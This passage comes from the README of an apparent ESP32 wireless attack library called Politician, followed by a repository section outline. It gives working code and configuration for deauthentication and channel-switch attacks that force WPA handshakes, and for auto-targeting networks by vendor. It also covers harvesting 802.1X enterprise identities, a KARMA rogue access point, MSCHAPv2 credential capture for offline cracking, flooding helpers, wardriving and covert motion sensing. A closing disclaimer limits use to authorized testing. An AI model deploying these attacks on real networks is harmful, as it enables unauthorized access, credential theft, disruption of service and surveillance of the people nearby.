    sense.setDebounce(2000);   // ms to hold MOTION before reverting to STILL

    sense.setSenseCallback([](SenseEvent ev, float var) {
        Serial.printf("[SENSE] %s  var=%.2f dBm²\n",
                      ev == SENSE_MOTION ? "MOTION" : "STILL", var);
    });

    // Anchor to a specific AP by BSSID (most stable)
    uint8_t anchor[] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF};
    sense.begin(engine, anchor);

    // Lock to the anchor's channel for a steady ~10 beacons/sec stream
    engine.lockChannel(6);
}

void loop() {
    engine.tick();
    sense.tick();
}

Anchor modes:

Mode	Method	Notes
BSSID (recommended)	`sense.begin(engine, bssid)`	Most stable; survives SSID name changes
SSID lookup	`sense.beginBySSID(engine, "MyRouter")`	Picks strongest BSSID if multiple match
Any AP	`sense.begin(engine, nullptr)`	Aggregates all visible APs; noisier baseline

API:

Method	Description
`begin(engine, bssid)`	Attach to engine; start sampling from anchor BSSID
`beginBySSID(engine, ssid)`	Resolve BSSID by SSID from engine cache, then attach
`end()`	Detach from engine and clear its packet logger slot
`tick()`	Worker — call from `loop()` alongside `engine.tick()`
`setSenseCallback(cb)`	Fired once per `SENSE_STILL` ↔ `SENSE_MOTION` transition
`setPacketLogger(cb)`	Pass-through for raw-frame access alongside sensing
`setThreshold(dBm²)`	Variance above which `SENSE_MOTION` fires. Range: 3–15. Default: `6.0`
`setWindowSize(n)`	Sliding window depth in samples [4–64]. Default: `32`
`setDebounce(ms)`	Hold `SENSE_MOTION` for this long after last spike. Default: `2000`
`setStaleTimeout(ms)`	Zero variance and let debounce expire when no samples arrive for this long. Default: `10000`
`getVariance()`	Current RSSI variance across the window (dBm²)
`getMeanRssi()`	Mean RSSI across the window (dBm)
`getState()`	`SENSE_STILL` or `SENSE_MOTION`
`getTotalSamples()`	Total samples collected since `begin()`
`reset()`	Clear sample window without detaching from engine

Compile-time tuning:

#define POLITICIAN_SENSE_MAX_WINDOW 128  // raise maximum window depth (default: 64)

Tuning guide:

Symptom	Fix
False triggers in an empty room	Raise `setThreshold()`
Real motion not detected	Lower `setThreshold()` or widen `setWindowSize()`
MOTION held too long after person leaves	Lower `setDebounce()`
Sparse samples / choppy data	Call `engine.lockChannel(anchorCh)` to stop hopping
Flat variance regardless of movement	Move anchor AP closer or choose a less-obstructed path

PoliticianSense requires std::function support. Do not combine with POLITICIAN_NO_STD_FUNCTION.

cfg.capture_filter |= LOG_FILTER_BEACONS must be set before engine.begin(). PoliticianSense only samples beacon frames; without this flag no data is collected. The "SDMMC ONLY!" warning in PoliticianTypes.h applies to high-volume SD logging — in-memory callbacks are unaffected.

sense.setPacketLogger() must be called before sense.begin() if you need raw frame access alongside sensing. Setting it after begin() is a data race with the engine worker task.

AP Iteration and Rich Client Discovery

engine.forEachAp([](const ApRecord &ap, void *) {
    Serial.printf("%s beacons=%lu captures=%u\n", ap.ssid, (unsigned long)ap.beacon_count, ap.capture_count);
}, nullptr);

engine.setClientFoundCallback([](const ClientRecord &rec) {
    Serial.printf("STA %02X:%02X:%02X:%02X:%02X:%02X rand=%d vendor=%s\n",
                  rec.sta[0], rec.sta[1], rec.sta[2], rec.sta[3], rec.sta[4], rec.sta[5],
                  rec.rand_mac, rec.vendor);
});

engine.setTargetScoreCallback([](const ApRecord &ap, const char *vendor) -> int {
    int score = ap.rssi;
    if (strstr(vendor, "Apple"))    score += 50;
    if (strstr(vendor, "Hikvision")) score += 80;
    if (ap.is_hidden)               score -= 100;
    return score;
});
engine.setAutoTarget(true);
engine.startHopping();

Per-BSSID / Per-SSID Attack Overrides

uint8_t sensitive_ap[6] = { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };
engine.setAttackMaskForBssid(sensitive_ap, ATTACK_PASSIVE); // passive-only for this AP
engine.setAttackMaskForSsid("CorpWiFi", ATTACK_PASSIVE);
engine.setAttackMaskForSsid("Guest", ATTACK_PMKID | ATTACK_PASSIVE, true); // substring match
engine.setAttackMask(ATTACK_ALL);                           // global default unchanged

Custom Disconnection Strategy

// CSA first; fallback to Deauth halfway through csa_wait_ms if no capture (default)
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);

// CSA and Deauth simultaneously (legacy behavior)
engine.setDisconnectionStrategy(STRATEGY_SIMULTANEOUS);

Half-Handshakes and Smart Pivot

When cfg.capture_half_handshakes = true, M2-only captures fire the EAPOL callback with type = CAP_EAPOL_HALF, then the engine immediately launches CSA/Deauth to force a fresh 4-way handshake. HandshakeRecord.cipher is also populated from the cached RSN pairwise suite so offline tooling can distinguish TKIP vs CCMP captures.

Smart Channel Lists

uint8_t hottest[8];
uint8_t n = engine.getChannelsSortedByActivity(hottest, 8);
if (n) engine.setAutoChannelList(n);

This is useful after a warm-up scan when you want hopping restricted to the busiest channels only.

802.11r Fast Transition Detection

ApRecord.ft_capable is set when FT-PSK (suite type 4) or FT-EAP (suite type 3) AKMs are detected. For FT-only APs, save the PCAPNG capture and use hcxpcapngtool --enable_ft for offline cracking.

Usage Examples

Enterprise Identity Harvesting

engine.setIdentityCallback([](const EapIdentityRecord &rec) {
    Serial.printf("[802.1X] %s method=%u\n", rec.identity, rec.eap_method);
    EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
});
Config cfg;
cfg.hop_dwell_ms = 800; // longer dwell gives EAP exchanges time to complete
engine.begin(cfg);

GPS Wardriving

#include <TinyGPS++.h>
TinyGPSPlus gps;

engine.setApFoundCallback([&](const ApRecord &ap) {
    if (gps.location.isValid())
        WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
                                 gps.location.lat(), gps.location.lng());
});

Selective Attack Filtering

engine.setTargetFilter([](const ApRecord &ap) -> bool {
    if (ap.rssi < -70) return false;    // too weak
    if (ap.enc < 2)    return false;    // skip Open/WEP
    if (ap.pmf_required) return false;  // skip pure WPA3
    return true;
});

Streaming Packet Capture

PcapngFileLogger raw;
raw.open(SD, "/intel.pcapng");
engine.setPacketLogger([&](const uint8_t *data, uint16_t len, int8_t rssi, uint8_t ch, uint32_t ts) {
    raw.writePacket(data, len, rssi, ch, ts);
});

Performance Considerations

Concern	Guidance
SD writes	Use streaming `open/write/close` — never one-shot in a tight loop
Beacon logging	`LOG_FILTER_BEACONS` generates 500+ writes/s — requires SDMMC (4-bit DMA)
Enterprise capture	Set `hop_dwell_ms = 800–1200` to not cut off EAP exchanges mid-flight
Flash size	Use feature gates (`POLITICIAN_NO_DB`, etc.) to trim binary on tight builds
RAM	Core engine ~45KB. Storage helpers and callbacks are opt-in
5GHz	`channel_frames[200]` covers all channels; use `setChannelBands(false, true)` to hop 5GHz only

Hardware Requirements

Platform: ESP32, ESP32-S2, ESP32-S3, ESP32-C3
Framework: Arduino or ESP-IDF (storage helpers are Arduino-only)
Flash: 4MB minimum recommended
Optional: SD card module for persistent logging; GPS module for Wigle integration

Troubleshooting

No handshakes captured

Try ATTACK_ALL for maximum aggression
Increase hop_dwell_ms for slow-reconnecting devices
Check skip_immune_networks — pure WPA3 APs are auto-skipped by default

Enterprise identities not captured

Increase hop_dwell_ms to 800-1200ms
Use ATTACK_PASSIVE or ATTACK_STIMULATE only — aggressive attacks disrupt EAP exchanges

WPS / MSCHAPv2 callbacks never fire

WPS requires a WPS Enrollee actively associating during capture
MSCHAPv2 only fires against bare (no-tunnel) EAP-MSCHAPv2 — rare in modern deployments
Verify the callback is registered before begin()

SD card writes fail

Confirm SD.begin() succeeds before any logger call
Disable LOG_FILTER_BEACONS if using SPI SD — use SDMMC for high-volume logging

Stress Helpers

using namespace politician::stress;
beaconFlood(ssids, ssidCount, 6, 5000);

PoliticianStress.h now exposes beacon flood generation alongside SAE commit flooding and probe flood helpers.

Examples

Example	Description
`AutonomousHunter`	Score-based auto-targeting with fingerprinting
`AutoEnterpriseHunter`	Automatic enterprise network targeting
`DeviceFingerprinting`	Passive IoT/consumer brand identification
`TargetedAuditing`	Network filtering and callbacks
`EnterpriseAuditing`	802.1X identity harvesting
`StorageAndNVS`	Streaming PCAPNG logging and NVS persistence
`WigleIntegration`	GPS wardriving with Wigle CSV export
`ExportFormats`	PCAPNG capture and HC22000 text export
`DynamicControl`	Runtime attack mode switching
`FuzzingAndInjection`	Custom frame injection and fuzzing
`SerialStreaming`	Real-time packet streaming
`StressTest`	Performance and memory testing
`BtmSteering`	802.11v BTM Request injection + PMKID combination
`WpsCapture`	Passive WPS M1 device fingerprint harvesting
`MsChapCapture`	Bare EAP-MSCHAPv2 credential capture (hashcat -m 5500)
`KarmaResponder`	KARMA rogue AP responder with runtime Serial toggle
`PassiveSensing`	RSSI-based human presence and motion detection

Legal & Ethical Use

This library is intended for:

✅ Authorized penetration testing
✅ Security research in controlled environments
✅ Educational purposes with permission
✅ Auditing your own networks

Unauthorized access to networks you do not own or have permission to test is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.

The authors and contributors assume no liability for misuse of this software.

Contributing

Contributions are welcome! Fork the repository, create a feature branch, add tests/examples for new features, and submit a pull request.

License

MIT License — see LICENSE for details.

Acknowledgments

Special thanks to justcallmekoko for inspiring this project and the broader hardware hacking community through the ESP32 Marauder project.

Folders and files

Latest commit

History

Repository files navigation

Politician

Migration Notes

ClientFoundCb signature change (develop)

Key Capabilities

Architecture

Core Headers

Attack Modes

Compile-Time Feature Gates

Installation

PlatformIO

Arduino IDE

ESP-IDF

Quick Start

Basic Handshake Capture

Bare ESP-IDF Quick Start

API Reference

Initialization

Configuration

Callbacks

Engine Control

Target Control

AP Cache & Stats

Probe Wordlist

Frame Injection

Data Structures

Config Constants

ApRecord

Stats

HandshakeRecord

EapIdentityRecord

WpsRecord

MsChapRecord (requires bare MSCHAPv2 — no PEAP/TTLS tunnel)

Other Records

Storage Utilities

Streaming PCAPNG (Recommended)

One-Shot PCAPNG (Legacy)

HC22000

Wigle CSV

Enterprise CSV

NVS BSSID Cache (Deduplication)

Network Stream Loggers

Advanced Features

KARMA Rogue AP Responder

WPS M1 Device Fingerprinting

Bare EAP-MSCHAPv2 Capture

Hidden Network Discovery with Wordlist

VHT/HE Detection

HE/VHT-Aware Attack Path

Exponential Backoff for Failing Targets

Multi-Instance Support

Passive Motion & Presence Sensing

AP Iteration and Rich Client Discovery

Per-BSSID / Per-SSID Attack Overrides

Custom Disconnection Strategy

Half-Handshakes and Smart Pivot

Smart Channel Lists

802.11r Fast Transition Detection

Usage Examples

Enterprise Identity Harvesting

GPS Wardriving

Selective Attack Filtering

Streaming Packet Capture

Performance Considerations

Hardware Requirements

Troubleshooting

Stress Helpers

Examples

Legal & Ethical Use

Contributing

License

Acknowledgments

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